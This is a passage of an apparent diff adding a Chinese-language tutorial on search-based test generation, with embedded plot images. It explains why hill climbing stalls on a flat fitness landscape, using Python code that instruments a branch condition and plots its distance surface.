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
+)
+
+这种梯度是理想健身景观的结果。 实际上，我们不会总是有这么好的渐变。 特别是，我们的爬山者只有在至少有一个邻居的适应性更好的情况下才能运作良好。 如果我们达到邻居的*没有*实际上具有更好的适应性值的程度，该怎么办？ 考虑以下函数`test_me2`：
+
+```py
+def test_me2(x, y):
+    if(x * x == y * y * (x % 20)):
+        return True
+    else:
+        return False
+
+```
+
+如果我们想再次覆盖`test_me2`中if条件的真分支，那么我们可以采用与以前相同的方式来计算距离，即通过计算比较两侧之间的差异。 让我们来介绍一下`test_me2()`功能：
+
+```py
+def test_me2_instrumented(x, y):
+    global distance
+    distance = abs(x * x - y * y * (x % 20))
+    if(x * x == y * y * (x % 20)):
+        return True
+    else:
+        return False
+
+```
+
+使用此工具版本，我们只需要一个适应性函数即可调用该工具版本并读取全局`distance`变量。
+
+```py
+def bad_fitness(x, y):
+    global distance
+    test_me2_instrumented(x, y)
+    fitness = distance
+    return fitness
+
+```
+
+在此示例上运行hillclimber之前，让我们通过绘制一下来再次查看搜索格局：
+
+```py
+from [mpl_toolkits.mplot3d](https://docs.python.org/3/library/mpl_toolkits.mplot3d.html) import Axes3D
+
+```
+
+```py
+from [math](https://docs.python.org/3/library/math.html) import exp, tan
+
+```
+
+```py
+x = np.outer(np.linspace(-10, 10, 30), np.ones(30))
+y = x.copy().T
+z = abs(x * x - y * y * (x % 20))
+
+```
+
+```py
+fig = plt.figure()
+ax = plt.axes(projection='3d')
+
+ax.plot_surface(x, y, z, cmap=plt.cm.jet, rstride=1, cstride=1, linewidth=0);
+
+```
+
+![](data:image/png;base64,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